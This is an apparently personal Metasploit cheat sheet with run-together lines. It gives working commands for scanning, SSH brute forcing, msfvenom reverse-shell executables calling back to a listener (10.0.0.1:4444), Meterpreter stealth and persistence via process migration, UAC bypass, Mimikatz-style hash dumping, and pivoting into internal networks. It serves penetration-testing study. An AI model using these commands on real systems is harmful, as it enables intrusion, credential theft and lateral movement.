Setup and Navigate Metasploit
sudo msfdb init, sudo systemctl enable postgresql
sudo msfdb reinitdb_status in the console to checkworkspace - create workspaces when pentesting a clientdb_nmap - works like regular nmap, but stores results in the db
hosts for hosts and services for servicesshow -h to show all modules, like exploits, payloads, and auxiliary
Auxiliary Modules
search to search through the modules, with type to specify the module type
search type:auxiliary smb or search Apache 2.4.41use to use a module with a given index from a search
use /auxiliary/scanner/ssh/ssh_login to brute force sshinfo to get information about the current moduleshow options to give options that the module can useset {option} {parameter} to set an option to a given parameter, like RHOSTS to an IP
unset to unset/payload/linux/x86/shell_reverse_tcp)vulns to see if any vulnerabilities have been automatically detectedcreds to show any discovered credsrun -j to run a job in the background and create a session for one clientsessions can switch between shells
sessions -l to list available sessionssessions -i {session_number} to switch (interact) with a sessionsessions -c 'command' -a to run a command on all sessionsSearchSploit
sudo apt install exploitdbsearchsploit {string}-mStaged/Non-Stated Payloads
/ means that it’s non-staged (e.g. shell_reverse_tcp)/ indicates a staged payload (e.g. shell/reverse_tcp)show payloads to see a list of all payloads
set payload {index} to set a payload after showing themMeterpreter
help to display commands in shellsysinfo and getuid to gather system datal before any command to run it on kalisessions in msfshell and Ctrl+Z to push a channel to the backgroundchannel -l to list all channelschannel -i 1 to interact with a channeldownload {file_path} to download a file from the systemupload {local_file_path} {resulting_file_path} to upload a file to the systemsearch -f {filename} to search from / for a file named {filename}Executable Payloads
msfvenom can generate malicious executablesmsfvenom -l payloads --platform {os (windows)} --arch {arch (x86)} to list payloadsmsfvenom -p {path_to_payload} LHOST={IP} LPORT={kali_listening_port} -f {filetype (exe)} -o {output_executable} to generate an executableuse multi/handlermsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f c
windows/x64/shell_reverse_tcplinux/x64/shell_reverse_tcpmsfconsoleuse exploit/multi/handlerset payload linux/x86/meterpreter/reverse_tcpset LHOST 10.0.0.1set LPORT 4444exploit -jMeterpreter Post-Exploitation Features
idletime to see how long it’s been since the system was used (e.g. don’t run shit until empty)getsystem to attempt to elevate privileges to NT AUTHORITY\SYSTEMmigrate {process_id} - injects meterpreter into another process for stealth and persistence
execute -H -f {process (notepad)}
-H hides the process, so no visual representation will be presentPost-Exploitation Modules
exploit/windows/local/bypassuac_sdclt is good for UAC bypassing on Windows
bg)load
load kiwi to load an extension equivalent to Mimikatzhelp to view commands, like creds_msv to dump NTLM hashessearch post ...
Pivoting with Metasploit
ipconfig, we can pivot to it with the following:
bg to background the session in meterpreter and route add {IP.IP.IP.0/24} {session_number} to add a route to an internal network reachable through a compromised host
route flushauxiliary/scanner/portscan/tcp to scan the open ports on the internal IPautoroute module to set up pivot routes
use multi/manage/autorouteset session {session_ID} - can list all sessions with sessions -lserver/socks_proxy
use auxiliary/server/socks_proxyVERSION, SRVHOST as localhost, and run -j
socks5 127.0.0.1 1080 to /etc/proxychains4.confxfreerdp3
sudo proxychains xfreerdp3 /v:{internal_target_IP} /u:luizaportfwd
sessions -i {session #}portfwd add -l {local_port} -p {remote_port} -r {int_IP}Resource Scripts
-rset AutoRunScript {module (/post/windows/manage/migrate)}set ExitOnSession to false to keep the multi/handler listening after a connection-z and -j to put the job in the background and stop us from interacting/usr/share/metasploit-framework/scripts/resource